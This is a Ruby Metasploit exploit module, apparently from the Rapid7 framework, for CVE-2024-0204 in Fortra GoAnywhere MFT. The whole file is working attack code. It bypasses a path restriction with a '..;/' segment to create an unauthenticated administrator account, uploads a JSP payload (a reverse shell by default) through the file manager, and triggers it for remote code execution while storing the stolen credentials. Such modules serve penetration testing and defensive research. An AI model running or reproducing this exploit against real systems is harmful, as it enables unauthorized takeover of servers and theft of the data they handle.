##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF RCE Exploit
'James Horseman', # Original auth bypass PoC/Analysis
'Zach Hanley' # Original auth bypass PoC/Analysis
],
'References' => [
['CVE', '2024-0204'],
['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory
['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/']
],
'DisclosureDate' => '2024-01-22',
'Platform' => %w[linux win],
'Arch' => [ARCH_JAVA],
'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux.
'Targets' => [
[
# Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp
'Automatic', {}
],
[
'Linux',
{
'Platform' => 'linux',
'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere'
}
],
[
'Windows',
{
'Platform' => 'win',
'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\'
},
],
],
'DefaultOptions' => {
'RPORT' => 8001,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
# A new admin account is created, which the exploit can't destroy.
CONFIG_CHANGES,
# The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.
ARTIFACTS_ON_DISK
]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']),
]
)
end
def check
# We can query an undocumented unauthenticated REST API endpoint and pull the version number.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
json_data = res.get_json_document
product = json_data.dig('data', 'product')
version = json_data.dig('data', 'version')
return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?
# As per the Fortra advisory, the following version are affected:
# * Fortra GoAnywhere MFT 6.x from 6.0.1
# * Fortra GoAnywhere MFT 7.x before 7.4.1
# This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.
if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))
return CheckCode::Appears("#{product} #{version}")
end
Exploit::CheckCode::Safe("#{product} #{version}")
end
def exploit
# CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So
# we generate the username/password pair we want to use.
# Note: We cannot delete the administrator account that we create.
admin_username = Rex::Text.rand_text_alpha_lower(8)
admin_password = Rex::Text.rand_text_alphanumeric(16)
# By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to
# the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double
# dot path segment, we need a directory to navigate down from, there are many available on the target so we pick
# a random one that we know works.
path_segments = %w[styles fonts auth help]
path_segment = path_segments.sample
# This is CVE-2024-0204...
initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint),
'j_id_u:creteAdminGrid:username' => admin_username,
'j_id_u:creteAdminGrid:password' => admin_password,
'j_id_u:creteAdminGrid:password_hinput' => admin_password,
'j_id_u:creteAdminGrid:confirmPassword' => admin_password,
'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password,
'j_id_u:creteAdminGrid:submitButton' => '',
'createAdminForm_SUBMIT' => 1
}
)
# The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method
# loginNewAdminUser and update our current session, so we dont need to manually login.
unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml')
fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}")
end
print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")
store_credentials(admin_username, admin_password)
# Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.
if target.name == 'Automatic'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'),
'keep_cookies' => true
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml')
end
# The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using
# the Java system property "os.name".
os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>})
unless os_match
fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml')
end
# To perform the JSP payload upload, we need to know the product installation path.
install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>})
unless install_match
fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml')
end
# Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.
found_target = targets.find do |t|
os_match[1].downcase.include? t.name.downcase
end
unless found_target
fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'")
end
# Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.
detected_target = found_target.dup
detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1]
print_status("Automatic targeting, detected OS: #{detected_target.name}")
print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}")
else
detected_target = target
end
# We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then
# change to the directory we want to upload to, then upload the file.
path_separator = detected_target['Platform'] == 'win' ? '\\' : '/'
# We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp
adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH']
adminroot_path += path_separator unless adminroot_path.end_with? path_separator
adminroot_path += 'adminroot'
adminroot_path += path_separator
viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => viewstate,
'j_id_4u:j_id_4v:newPath_focus' => '',
'j_id_4u:j_id_4v:newPath_input' => '/',
'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path,
'j_id_4u:j_id_4v:NewPathButton' => '',
'j_id_4u_SUBMIT' => 1
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml')
end
# We require a regID value form the page to upload a file, so we pull that out here.
vs_input = res.get_html_document.at('input[name="reqId"]')
unless vs_input&.key? 'value'
fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml')
end
request_id = vs_input['value']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => viewstate,
'javax.faces.partial.ajax' => 'true',
'javax.faces.source' => 'uploadID',
'javax.faces.partial.execute' => 'uploadID',
'javax.faces.partial.render' => '@none',
'uploadID' => 'uploadID',
'uploadID_sessionCheck' => 'true',
'reqId' => request_id,
'whenFileExists_focus' => '',
'whenFileExists_input' => 'rename',
'uploaderType' => 'filemanager',
'j_id_4i_SUBMIT' => 1
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml')
end
jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp'
message = Rex::MIME::Message.new
message.add_part(request_id, nil, nil, 'form-data; name="reqId"')
message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"')
message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"')
message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"')
message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"')
message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"')
message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"')
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"')
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"')
message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"')
message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"")
# We can now upload our payload...
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'data' => message.to_s
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml')
end
# Register our payload so it is deleted when the session is created.
jsp_filepath = adminroot_path + jsp_filename
print_status("Dropped payload: #{jsp_filepath}")
# We are using the FileDropper mixin to automatically delete this file after a session has been created.
register_file_for_cleanup(jsp_filepath)
# A copy of the files this user uploads is left here:
# /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp
# We register these to be deleted, but they appear to be locked, preventing deleting.
userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH']
userdoc_path += path_separator unless userdoc_path.end_with? path_separator
userdoc_path += 'userdata'
userdoc_path += path_separator
userdoc_path += 'documents'
userdoc_path += path_separator
userdoc_path += admin_username
userdoc_path += path_separator
register_file_for_cleanup(userdoc_path + jsp_filename)
register_dir_for_cleanup(userdoc_path)
# Finally, trigger our payload via a GET request...
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, jsp_filename)
)
# NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web
# interface or REST API.
end
# Helper method to pull out a viewstate identifier from a requests HTML response.
def get_viewstate(endpoint)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, endpoint),
'keep_cookies' => true
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.")
end
vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]')
unless vs_input&.key? 'value'
fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.")
end
vs_input['value']
end
def store_credentials(username, password)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'GoAnywhere MFT Admin Interface',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
end
